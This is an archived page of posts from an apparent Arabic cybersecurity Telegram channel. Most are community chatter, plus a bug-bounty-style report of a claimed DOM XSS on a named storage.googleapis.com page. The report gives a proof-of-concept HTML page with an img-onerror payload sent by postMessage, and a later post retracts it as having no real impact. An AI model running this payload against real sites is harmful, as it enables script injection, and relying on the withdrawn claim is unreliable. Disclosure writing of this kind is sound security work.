en
Feedback
SPIDER1CODE

SPIDER1CODE

Open in Telegram

Spider1Code is the first Arab community that brings together cybersecurity artificial intelligence, and more ✨🤍

Show more
Iraq38 396Technologies & Applications31 355
Buy Ad
1 753
Subscribers
-324 hours
-87 days
-3830 days
Posts Archive
\n \n \n \n2. Open the poc.html file in Chrome or Firefox.\n3. Result: An alert box will appear displaying XSS: storage.googleapis.com.\n\n## 5. Impact\n* Cross-Site Scripting: Execution of arbitrary JavaScript in the context of storage.googleapis.com.\n* Phishing: The trusted Google domain can be leveraged to host convincing phishing pages or malware downloaders.\n* Same-Origin Violation: Potential access to other sensitive data or local storage items shared across the storage.googleapis.com origin (depending on bucket configurations and browser isolation mechanisms).\n\n## 6. Remediation\nImplement an origin check to ensure messages are only accepted from trusted domains (e.g., *.verily.com).\n\nPatch:\nwindow.addEventListener(\"message\", function(event) {\n const allowedOrigins = [\"https://verily.com\", \"https://workbench.verily.com\"];\n if (!allowedOrigins.includes(event.origin)) return;\n document.getElementById(\"content\").srcdoc = event.data;\n});","datePublished":"2026-01-04T17:21:51Z","dateModified":"2026-01-04T18:14:19Z","author":{"@type":"Organization","name":"SPIDER1CODE","url":"https://telemetr.io/en/channels/2425405276-spidercodecommunity1","image":"https://img.tlmtr.io/c/2E8KHW/5864159578310774117?ty=x"},"publisher":{"@type":"Organization","name":"SPIDER1CODE","url":"https://telemetr.io/en/channels/2425405276-spidercodecommunity1","image":"https://img.tlmtr.io/c/2E8KHW/5864159578310774117?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":20},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":1}]}},{"@type":"ListItem","position":3,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/en/channels/2425405276-spidercodecommunity1/posts/531","url":"https://telemetr.io/en/channels/2425405276-spidercodecommunity1/posts/531","mainEntityOfPage":"https://telemetr.io/en/channels/2425405276-spidercodecommunity1/posts/531","headline":"Xss in google","articleBody":"Xss in google","datePublished":"2026-01-04T15:58:28Z","dateModified":"2026-01-04T18:14:19Z","author":{"@type":"Organization","name":"SPIDER1CODE","url":"https://telemetr.io/en/channels/2425405276-spidercodecommunity1","image":"https://img.tlmtr.io/c/2E8KHW/5864159578310774117?ty=x"},"publisher":{"@type":"Organization","name":"SPIDER1CODE","url":"https://telemetr.io/en/channels/2425405276-spidercodecommunity1","image":"https://img.tlmtr.io/c/2E8KHW/5864159578310774117?ty=x"},"commentCount":3,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":44},{"@type":"InteractionCounter","interactionType":"https://schema.org/CommentAction","userInteractionCount":3}]}},{"@type":"ListItem","position":4,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/en/channels/2425405276-spidercodecommunity1/posts/530","url":"https://telemetr.io/en/channels/2425405276-spidercodecommunity1/posts/530","mainEntityOfPage":"https://telemetr.io/en/channels/2425405276-spidercodecommunity1/posts/530","headline":"👌🏻🤍","articleBody":"👌🏻🤍","datePublished":"2026-01-03T10:16:15Z","dateModified":"2026-01-03T10:16:15Z","author":{"@type":"Organization","name":"SPIDER1CODE","url":"https://telemetr.io/en/channels/2425405276-spidercodecommunity1","image":"https://img.tlmtr.io/c/2E8KHW/5864159578310774117?ty=x"},"publisher":{"@type":"Organization","name":"SPIDER1CODE","url":"https://telemetr.io/en/channels/2425405276-spidercodecommunity1","image":"https://img.tlmtr.io/c/2E8KHW/5864159578310774117?ty=x"},"commentCount":6,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":350},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":6},{"@type":"InteractionCounter","interactionType":"https://schema.org/CommentAction","userInteractionCount":6}]}},{"@type":"ListItem","position":5,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/en/channels/2425405276-spidercodecommunity1/posts/529","url":"https://telemetr.io/en/channels/2425405276-spidercodecommunity1/posts/529","mainEntityOfPage":"https://telemetr.io/en/channels/2425405276-spidercodecommunity1/posts/529","headline":"دقائق واحذف لا يفوتكم 👆 🔥☄️","articleBody":"دقائق واحذف لا يفوتكم 👆 🔥☄️","datePublished":"2026-01-01T08:23:37Z","dateModified":"2026-01-01T12:20:19Z","author":{"@type":"Organization","name":"SPIDER1CODE","url":"https://telemetr.io/en/channels/2425405276-spidercodecommunity1","image":"https://img.tlmtr.io/c/2E8KHW/5864159578310774117?ty=x"},"publisher":{"@type":"Organization","name":"SPIDER1CODE","url":"https://telemetr.io/en/channels/2425405276-spidercodecommunity1","image":"https://img.tlmtr.io/c/2E8KHW/5864159578310774117?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":15}],"sharedContent":{"@type":"SocialMediaPosting","datePublished":"2025-05-28T10:54:58Z"}}},{"@type":"ListItem","position":6,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/en/channels/2425405276-spidercodecommunity1/posts/528","url":"https://telemetr.io/en/channels/2425405276-spidercodecommunity1/posts/528","mainEntityOfPage":"https://telemetr.io/en/channels/2425405276-spidercodecommunity1/posts/528","headline":"🔖 قائمة قنوات تكنولوجية✅ 🔖 مجموعة مختارة من قنوات التليجرام المتخصصة في: 💻 البرمجة | 🛡 الأمن السيبراني | 🌐 ال…","articleBody":"🔖 قائمة قنوات تكنولوجية✅\n\n🔖 مجموعة مختارة من قنوات التليجرام المتخصصة في:\n💻 البرمجة | 🛡 الأمن السيبراني | 🌐 الشبكات | 🧠 الذكاء الاصطناعي | 🖥 أنظمة التشغيل\n\n📎 تصفّح القنوات من هنا:\n ⭐https://t.me/addlist/X19g-c2waEY0NTJk\n ⭐https://t.me/addlist/X19g-c2waEY0NTJk\n\n💡 هل تود إضافة قناتك؟\nتواصل معنا: @MASTER_0_X\n\n👥 يشترط أن تكون القناة تقنية وبها أكثر من 500 عضو","datePublished":"2026-01-01T07:22:21Z","dateModified":"2026-01-01T12:20:19Z","author":{"@type":"Organization","name":"SPIDER1CODE","url":"https://telemetr.io/en/channels/2425405276-spidercodecommunity1","image":"https://img.tlmtr.io/c/2E8KHW/5864159578310774117?ty=x"},"publisher":{"@type":"Organization","name":"SPIDER1CODE","url":"https://telemetr.io/en/channels/2425405276-spidercodecommunity1","image":"https://img.tlmtr.io/c/2E8KHW/5864159578310774117?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":18}],"sharedContent":{"@type":"SocialMediaPosting","datePublished":"2025-05-28T11:05:24Z"}}},{"@type":"ListItem","position":7,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/en/channels/2425405276-spidercodecommunity1/posts/527","url":"https://telemetr.io/en/channels/2425405276-spidercodecommunity1/posts/527","mainEntityOfPage":"https://telemetr.io/en/channels/2425405276-spidercodecommunity1/posts/527","headline":"All my certificates in 2025 🤍 عام جديد سعيد لكم و ب اذن الله من تطور لي تطور لنا جميعا 🤍","articleBody":"All my certificates in 2025 🤍\n\nعام جديد سعيد لكم و ب اذن الله من تطور لي تطور لنا جميعا 🤍","datePublished":"2025-12-30T09:31:47Z","dateModified":"2025-12-30T09:31:47Z","author":{"@type":"Organization","name":"SPIDER1CODE","url":"https://telemetr.io/en/channels/2425405276-spidercodecommunity1","image":"https://img.tlmtr.io/c/2E8KHW/5864159578310774117?ty=x"},"publisher":{"@type":"Organization","name":"SPIDER1CODE","url":"https://telemetr.io/en/channels/2425405276-spidercodecommunity1","image":"https://img.tlmtr.io/c/2E8KHW/5864159578310774117?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":433},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":4},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":1}]}},{"@type":"ListItem","position":8,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/en/channels/2425405276-spidercodecommunity1/posts/522","url":"https://telemetr.io/en/channels/2425405276-spidercodecommunity1/posts/522","mainEntityOfPage":"https://telemetr.io/en/channels/2425405276-spidercodecommunity1/posts/522","headline":"SPIDER1CODE","datePublished":"2025-12-30T09:31:01Z","dateModified":"2025-12-30T09:31:01Z","author":{"@type":"Organization","name":"SPIDER1CODE","url":"https://telemetr.io/en/channels/2425405276-spidercodecommunity1","image":"https://img.tlmtr.io/c/2E8KHW/5864159578310774117?ty=x"},"publisher":{"@type":"Organization","name":"SPIDER1CODE","url":"https://telemetr.io/en/channels/2425405276-spidercodecommunity1","image":"https://img.tlmtr.io/c/2E8KHW/5864159578310774117?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":471},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":2}]}},{"@type":"ListItem","position":9,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/en/channels/2425405276-spidercodecommunity1/posts/512","url":"https://telemetr.io/en/channels/2425405276-spidercodecommunity1/posts/512","mainEntityOfPage":"https://telemetr.io/en/channels/2425405276-spidercodecommunity1/posts/512","headline":"SPIDER1CODE","datePublished":"2025-12-30T09:31:00Z","dateModified":"2025-12-30T09:31:00Z","author":{"@type":"Organization","name":"SPIDER1CODE","url":"https://telemetr.io/en/channels/2425405276-spidercodecommunity1","image":"https://img.tlmtr.io/c/2E8KHW/5864159578310774117?ty=x"},"publisher":{"@type":"Organization","name":"SPIDER1CODE","url":"https://telemetr.io/en/channels/2425405276-spidercodecommunity1","image":"https://img.tlmtr.io/c/2E8KHW/5864159578310774117?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":348},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":2}]}},{"@type":"ListItem","position":10,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/en/channels/2425405276-spidercodecommunity1/posts/511","url":"https://telemetr.io/en/channels/2425405276-spidercodecommunity1/posts/511","mainEntityOfPage":"https://telemetr.io/en/channels/2425405276-spidercodecommunity1/posts/511","headline":"Bug bounty writeup 🤍👌🏻","articleBody":"Bug bounty writeup 🤍👌🏻","datePublished":"2025-12-25T07:52:28Z","dateModified":"2025-12-25T07:52:28Z","author":{"@type":"Organization","name":"SPIDER1CODE","url":"https://telemetr.io/en/channels/2425405276-spidercodecommunity1","image":"https://img.tlmtr.io/c/2E8KHW/5864159578310774117?ty=x"},"publisher":{"@type":"Organization","name":"SPIDER1CODE","url":"https://telemetr.io/en/channels/2425405276-spidercodecommunity1","image":"https://img.tlmtr.io/c/2E8KHW/5864159578310774117?ty=x"},"commentCount":1,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":256},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":1},{"@type":"InteractionCounter","interactionType":"https://schema.org/CommentAction","userInteractionCount":1}]}},{"@type":"ListItem","position":11,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/en/channels/2425405276-spidercodecommunity1/posts/506","url":"https://telemetr.io/en/channels/2425405276-spidercodecommunity1/posts/506","mainEntityOfPage":"https://telemetr.io/en/channels/2425405276-spidercodecommunity1/posts/506","headline":"SPIDER1CODE","datePublished":"2025-12-25T07:52:14Z","dateModified":"2025-12-25T07:52:14Z","author":{"@type":"Organization","name":"SPIDER1CODE","url":"https://telemetr.io/en/channels/2425405276-spidercodecommunity1","image":"https://img.tlmtr.io/c/2E8KHW/5864159578310774117?ty=x"},"publisher":{"@type":"Organization","name":"SPIDER1CODE","url":"https://telemetr.io/en/channels/2425405276-spidercodecommunity1","image":"https://img.tlmtr.io/c/2E8KHW/5864159578310774117?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":235},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":4},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":2}]}},{"@type":"ListItem","position":12,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/en/channels/2425405276-spidercodecommunity1/posts/505","url":"https://telemetr.io/en/channels/2425405276-spidercodecommunity1/posts/505","mainEntityOfPage":"https://telemetr.io/en/channels/2425405276-spidercodecommunity1/posts/505","headline":"دا ريبورت لي ثغره كريتكال اتمني يفيدكم 🤍👌🏻 BUG BOUNTY That report of Critical bug i hope that helps you 👌🏻🤍","articleBody":"دا ريبورت لي ثغره كريتكال اتمني يفيدكم 🤍👌🏻\n\nBUG BOUNTY\n\nThat report of Critical bug i hope that helps you 👌🏻🤍","datePublished":"2025-12-20T07:49:18Z","dateModified":"2025-12-20T07:49:18Z","author":{"@type":"Organization","name":"SPIDER1CODE","url":"https://telemetr.io/en/channels/2425405276-spidercodecommunity1","image":"https://img.tlmtr.io/c/2E8KHW/5864159578310774117?ty=x"},"publisher":{"@type":"Organization","name":"SPIDER1CODE","url":"https://telemetr.io/en/channels/2425405276-spidercodecommunity1","image":"https://img.tlmtr.io/c/2E8KHW/5864159578310774117?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":246},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":5},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":4}]}},{"@type":"ListItem","position":13,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/en/channels/2425405276-spidercodecommunity1/posts/499","url":"https://telemetr.io/en/channels/2425405276-spidercodecommunity1/posts/499","mainEntityOfPage":"https://telemetr.io/en/channels/2425405276-spidercodecommunity1/posts/499","headline":"SPIDER1CODE","datePublished":"2025-12-20T07:47:55Z","dateModified":"2025-12-20T07:47:55Z","author":{"@type":"Organization","name":"SPIDER1CODE","url":"https://telemetr.io/en/channels/2425405276-spidercodecommunity1","image":"https://img.tlmtr.io/c/2E8KHW/5864159578310774117?ty=x"},"publisher":{"@type":"Organization","name":"SPIDER1CODE","url":"https://telemetr.io/en/channels/2425405276-spidercodecommunity1","image":"https://img.tlmtr.io/c/2E8KHW/5864159578310774117?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":229},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":3}]}},{"@type":"ListItem","position":14,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/en/channels/2425405276-spidercodecommunity1/posts/498","url":"https://telemetr.io/en/channels/2425405276-spidercodecommunity1/posts/498","mainEntityOfPage":"https://telemetr.io/en/channels/2425405276-spidercodecommunity1/posts/498","headline":"جمعه مباركه عليكم لأهم مش تنسو صلي على سيدنا محمد صلى الله عليه وسلم 🤍✌🏻","articleBody":"جمعه مباركه عليكم لأهم مش تنسو \n\nصلي على سيدنا محمد صلى الله عليه وسلم 🤍✌🏻","datePublished":"2025-12-19T16:05:31Z","dateModified":"2025-12-19T16:05:31Z","author":{"@type":"Organization","name":"SPIDER1CODE","url":"https://telemetr.io/en/channels/2425405276-spidercodecommunity1","image":"https://img.tlmtr.io/c/2E8KHW/5864159578310774117?ty=x"},"publisher":{"@type":"Organization","name":"SPIDER1CODE","url":"https://telemetr.io/en/channels/2425405276-spidercodecommunity1","image":"https://img.tlmtr.io/c/2E8KHW/5864159578310774117?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":223},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":6}]}},{"@type":"ListItem","position":15,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/en/channels/2425405276-spidercodecommunity1/posts/496","url":"https://telemetr.io/en/channels/2425405276-spidercodecommunity1/posts/496","mainEntityOfPage":"https://telemetr.io/en/channels/2425405276-spidercodecommunity1/posts/496","headline":"انا عارف ان سنه جديده لسه مش بدات بس خير البر عاجلاً 🤍 تحديث جديد لي قناه و مجتمع : ببساطه في توبك الشات العا…","articleBody":"انا عارف ان سنه جديده لسه مش بدات بس خير البر عاجلاً 🤍\n\n\nتحديث جديد لي قناه و مجتمع :\n\nببساطه في توبك الشات العام او في شات القناه اكتب اي سوال محتار في او اي مشكله حصلت ليك و محتاج مساعده فيها و انا هحاول اساعدك و ارد عليك بافضل مجهود عندي و كل دا مجانا 🤍\n\n\nوطبعا تغيرات جديده في قناه و ان شاء الله نظام احسن لي احسن 🤍\n\n\n\nI know the new year hasn’t started yet, but doing good early is always better 🤍\n\nNew update for the channel and the community:\n\nSimply, in the public chat or the channel discussion, you can write any question you’re confused about or any problem you’re facing and need help with. I’ll do my best to help you and reply as well as I can — all for free 🤍\n\nOf course, there are new changes in the channel, and God willing, a better system for a better experience 🤍","datePublished":"2025-12-19T05:58:22Z","dateModified":"2025-12-19T05:58:22Z","author":{"@type":"Organization","name":"SPIDER1CODE","url":"https://telemetr.io/en/channels/2425405276-spidercodecommunity1","image":"https://img.tlmtr.io/c/2E8KHW/5864159578310774117?ty=x"},"publisher":{"@type":"Organization","name":"SPIDER1CODE","url":"https://telemetr.io/en/channels/2425405276-spidercodecommunity1","image":"https://img.tlmtr.io/c/2E8KHW/5864159578310774117?ty=x"},"commentCount":1,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":232},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":3},{"@type":"InteractionCounter","interactionType":"https://schema.org/CommentAction","userInteractionCount":1}]}},{"@type":"ListItem","position":16,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/en/channels/2425405276-spidercodecommunity1/posts/492","url":"https://telemetr.io/en/channels/2425405276-spidercodecommunity1/posts/492","mainEntityOfPage":"https://telemetr.io/en/channels/2425405276-spidercodecommunity1/posts/492","headline":"بلاك ارش عاد !!! الحقيقه انا لن انزل بلاك ارش نفسها ولكن قمت بتصميم و بناء بلاك ارش نسخه منها و هيا تعمل علي…","articleBody":"بلاك ارش عاد !!!\n\nالحقيقه انا لن انزل بلاك ارش نفسها ولكن قمت بتصميم و بناء بلاك ارش نسخه منها و هيا تعمل علي لاجهزه الحديثه و الجديده و تعمل علي \n\nGnome\n\nحاليا ❤️🏆\n\nرابط مقال شرح كيف قمت بذالك :\n\nhttps://spider1sec.medium.com/black-arch-is-back-4fdf903d4892","datePublished":"2025-12-17T03:27:46Z","dateModified":"2026-01-28T04:44:12Z","author":{"@type":"Organization","name":"SPIDER1CODE","url":"https://telemetr.io/en/channels/2425405276-spidercodecommunity1","image":"https://img.tlmtr.io/c/2E8KHW/5864159578310774117?ty=x"},"publisher":{"@type":"Organization","name":"SPIDER1CODE","url":"https://telemetr.io/en/channels/2425405276-spidercodecommunity1","image":"https://img.tlmtr.io/c/2E8KHW/5864159578310774117?ty=x"},"commentCount":4,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":201},{"@type":"InteractionCounter","interactionType":"https://schema.org/LikeAction","userInteractionCount":2},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":2},{"@type":"InteractionCounter","interactionType":"https://schema.org/CommentAction","userInteractionCount":4}]}},{"@type":"ListItem","position":17,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/en/channels/2425405276-spidercodecommunity1/posts/491","url":"https://telemetr.io/en/channels/2425405276-spidercodecommunity1/posts/491","mainEntityOfPage":"https://telemetr.io/en/channels/2425405276-spidercodecommunity1/posts/491","headline":"BLACK ARCH IS BACK !!!! I didn’t install BlackArch. I rebuilt it. This article documents a full technical exp…","articleBody":"BLACK ARCH IS BACK !!!!\n\n\n\n\n\n\n\nI didn’t install BlackArch.\nI rebuilt it.\n\nThis article documents a full technical experiment:\nHow to integrate BlackArch tools and identity on top of a clean Arch Linux system, without downgrades, without instability, and without breaking Arch’s rolling model.\n\nThe goal wasn’t “using BlackArch” — it was separating layers:\n\nArch Linux as a stable rolling base\n\nBlackArch as a toolset, not a distribution\n\nGNOME as a controlled, modern desktop\n\n\nThe result is a system that keeps Arch clean and stable, while restoring BlackArch as a powerful, modular cybersecurity environment.\n\n📖 Full technical write-up :\n [https://spider1sec.medium.com/black-arch-is-back-4fdf903d4892]\n\n#Linux #ArchLinux #Cybersecurity #OpenSource #BlackArch","datePublished":"2025-12-17T03:25:57Z","dateModified":"2026-01-28T04:44:12Z","author":{"@type":"Organization","name":"SPIDER1CODE","url":"https://telemetr.io/en/channels/2425405276-spidercodecommunity1","image":"https://img.tlmtr.io/c/2E8KHW/5864159578310774117?ty=x"},"publisher":{"@type":"Organization","name":"SPIDER1CODE","url":"https://telemetr.io/en/channels/2425405276-spidercodecommunity1","image":"https://img.tlmtr.io/c/2E8KHW/5864159578310774117?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":181},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":1}]}},{"@type":"ListItem","position":18,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/en/channels/2425405276-spidercodecommunity1/posts/490","url":"https://telemetr.io/en/channels/2425405276-spidercodecommunity1/posts/490","mainEntityOfPage":"https://telemetr.io/en/channels/2425405276-spidercodecommunity1/posts/490","headline":"SPIDER1CODE","datePublished":"2025-12-13T00:58:28Z","dateModified":"2025-12-13T00:58:28Z","author":{"@type":"Organization","name":"SPIDER1CODE","url":"https://telemetr.io/en/channels/2425405276-spidercodecommunity1","image":"https://img.tlmtr.io/c/2E8KHW/5864159578310774117?ty=x"},"publisher":{"@type":"Organization","name":"SPIDER1CODE","url":"https://telemetr.io/en/channels/2425405276-spidercodecommunity1","image":"https://img.tlmtr.io/c/2E8KHW/5864159578310774117?ty=x"},"commentCount":0,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":228},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":1}]}},{"@type":"ListItem","position":19,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/en/channels/2425405276-spidercodecommunity1/posts/489","url":"https://telemetr.io/en/channels/2425405276-spidercodecommunity1/posts/489","mainEntityOfPage":"https://telemetr.io/en/channels/2425405276-spidercodecommunity1/posts/489","headline":"بطل SPIDER-CTF 🤩 @xfmaro بجد من افضل الناس في ctf و الجائزه كانت طريقه حصول علي chatgpt go","articleBody":"بطل SPIDER-CTF 🤩 \n\n@xfmaro\n\nبجد من افضل الناس في ctf و الجائزه كانت طريقه حصول علي\n\nchatgpt go","datePublished":"2025-12-13T00:57:10Z","dateModified":"2025-12-13T00:57:10Z","author":{"@type":"Organization","name":"SPIDER1CODE","url":"https://telemetr.io/en/channels/2425405276-spidercodecommunity1","image":"https://img.tlmtr.io/c/2E8KHW/5864159578310774117?ty=x"},"publisher":{"@type":"Organization","name":"SPIDER1CODE","url":"https://telemetr.io/en/channels/2425405276-spidercodecommunity1","image":"https://img.tlmtr.io/c/2E8KHW/5864159578310774117?ty=x"},"commentCount":13,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":208},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":1},{"@type":"InteractionCounter","interactionType":"https://schema.org/CommentAction","userInteractionCount":13}]}},{"@type":"ListItem","position":20,"item":{"@type":"SocialMediaPosting","@id":"https://telemetr.io/en/channels/2425405276-spidercodecommunity1/posts/487","url":"https://telemetr.io/en/channels/2425405276-spidercodecommunity1/posts/487","mainEntityOfPage":"https://telemetr.io/en/channels/2425405276-spidercodecommunity1/posts/487","headline":"بداء البث المباشر !!!!!","articleBody":"بداء البث المباشر !!!!!","datePublished":"2025-12-12T22:04:50Z","dateModified":"2025-12-12T22:04:50Z","author":{"@type":"Organization","name":"SPIDER1CODE","url":"https://telemetr.io/en/channels/2425405276-spidercodecommunity1","image":"https://img.tlmtr.io/c/2E8KHW/5864159578310774117?ty=x"},"publisher":{"@type":"Organization","name":"SPIDER1CODE","url":"https://telemetr.io/en/channels/2425405276-spidercodecommunity1","image":"https://img.tlmtr.io/c/2E8KHW/5864159578310774117?ty=x"},"commentCount":4,"interactionStatistic":[{"@type":"InteractionCounter","interactionType":"https://schema.org/ViewAction","userInteractionCount":216},{"@type":"InteractionCounter","interactionType":"https://schema.org/ShareAction","userInteractionCount":1},{"@type":"InteractionCounter","interactionType":"https://schema.org/CommentAction","userInteractionCount":4}]}}]}
SPIDER1CODE
SPIDER1CODEverified-telegram-icon
1 753
بعد ما راجعت و اتاكد اتعلمت حاجه جديده اني مش استعجل علي الحاجه صحيح شكلها يبان انها فعلا xss بس الحقيقه لا و هربط مقوله دي بكل شئ طلما مفيش impact مفيش Vulnerability العيب مش فل غلط العيب اني اصحح الغلط و المره الجايه هتاكد ميت مره و شكرا لكل واحد قالي كلمه كويسه و شكرا بردو الي قلي كلمه وحشه ف لاتنين انا اتعلمت و استفدت و انت اكيد يلي بتقراء استفدت من الموقف دا و اشوفكم على خير 🤍✌🏻

SPIDER1CODE
SPIDER1CODEverified-telegram-icon
1 753
# Google VRP Report: DOM-Based XSS on storage.googleapis.com via Insecure postMessage Vulnerability Type: Cross-Site Scripting (XSS) > DOM-Based XSS Product / Component: Google Cloud Storage / Verily Workbench Affected URL: https://storage.googleapis.com/bkt-workbench-html-preview/iframe.html --- ## 1. Summary I have identified a DOM-based Cross-Site Scripting (XSS) vulnerability in the bkt-workbench-html-preview bucket hosted on storage.googleapis.com. The application fails to validate the origin of incoming postMessage events before assigning the payload directly to the srcdoc attribute of an iframe. This allows an attacker to execute arbitrary JavaScript in the context of the storage.googleapis.com domain. ## 2. Technical Details The vulnerable page listens for message events without checking event.origin. It takes event.data and immediately sets it as the srcdoc of an iframe element. Vulnerable Code Snippet: 
window.addEventListener("message", function(event) {
    // Missing origin check
    document.getElementById("content").srcdoc = event.data; 
});
## 3. Attack Scenario An attacker can host a malicious website that includes the vulnerable page in an iframe. By sending a malicious HTML/JS payload via postMessage, the attacker can execute code within the victim's session on storage.googleapis.com. ## 4. Steps to Reproduce 1. Host the following HTML code on an attacker-controlled server (or save as poc.html locally): 
    <!DOCTYPE html>
    <html>
    <head>
        <title>Google VRP PoC</title>
    </head>
    <body>
        <h1>PoC: DOM XSS on storage.googleapis.com</h1>
        <iframe id="target" src="https://storage.googleapis.com/bkt-workbench-html-preview/iframe.html" style="width:500px; height:500px;"></iframe>
        <script>
            var target = document.getElementById('target');
            target.onload = function() {
                var payload = "<img src=x onerror=alert('XSS: ' + document.domain)>";
                target.contentWindow.postMessage(payload, '*');
            };
        </script>
    </body>
    </html>
2. Open the poc.html file in Chrome or Firefox. 3. Result: An alert box will appear displaying XSS: storage.googleapis.com. ## 5. Impact * Cross-Site Scripting: Execution of arbitrary JavaScript in the context of storage.googleapis.com. * Phishing: The trusted Google domain can be leveraged to host convincing phishing pages or malware downloaders. * Same-Origin Violation: Potential access to other sensitive data or local storage items shared across the storage.googleapis.com origin (depending on bucket configurations and browser isolation mechanisms). ## 6. Remediation Implement an origin check to ensure messages are only accepted from trusted domains (e.g., *.verily.com). Patch: 
window.addEventListener("message", function(event) {
    const allowedOrigins = ["https://verily.com", "https://workbench.verily.com"];
    if (!allowedOrigins.includes(event.origin)) return;
    document.getElementById("content").srcdoc = event.data;
});

SPIDER1CODE
SPIDER1CODEverified-telegram-icon
1 753
+1
Xss in google

SPIDER1CODE
SPIDER1CODEverified-telegram-icon
1 753
👌🏻🤍
👌🏻🤍

SPIDER1CODE
SPIDER1CODEverified-telegram-icon
1 753
Repost from N/a
دقائق واحذف لا يفوتكم 👆 🔥☄️

SPIDER1CODE
SPIDER1CODEverified-telegram-icon
1 753
Repost from N/a
🔖 قائمة قنوات تكنولوجية✅ 🔖 مجموعة مختارة من قنوات التليجرام المتخصصة في: 💻 البرمجة | 🛡 الأمن السيبراني | 🌐 الشبكات | 🧠
🔖 قائمة قنوات تكنولوجية✅ 🔖 مجموعة مختارة من قنوات التليجرام المتخصصة في: 💻 البرمجة | 🛡 الأمن السيبراني | 🌐 الشبكات | 🧠 الذكاء الاصطناعي | 🖥 أنظمة التشغيل 📎 تصفّح القنوات من هنا:
⭐https://t.me/addlist/X19g-c2waEY0NTJk ⭐https://t.me/addlist/X19g-c2waEY0NTJk
💡 هل تود إضافة قناتك؟ تواصل معنا: @MASTER_0_X 👥 يشترط أن تكون القناة تقنية وبها أكثر من 500 عضو

SPIDER1CODE
SPIDER1CODEverified-telegram-icon
1 753
All my certificates in 2025 🤍 عام جديد سعيد لكم و ب اذن الله من تطور لي تطور لنا جميعا 🤍

SPIDER1CODE
SPIDER1CODEverified-telegram-icon
1 753
photo content
+4

SPIDER1CODE
SPIDER1CODEverified-telegram-icon
1 753
photo content
+9

SPIDER1CODE
SPIDER1CODEverified-telegram-icon
1 753
Bug bounty writeup 🤍👌🏻

SPIDER1CODE
SPIDER1CODEverified-telegram-icon
1 753
photo content
+4

SPIDER1CODE
SPIDER1CODEverified-telegram-icon
1 753
دا ريبورت لي ثغره كريتكال اتمني يفيدكم 🤍👌🏻
BUG BOUNTY
That report of Critical bug i hope that helps you 👌🏻🤍

SPIDER1CODE
SPIDER1CODEverified-telegram-icon
1 753
photo content
+5
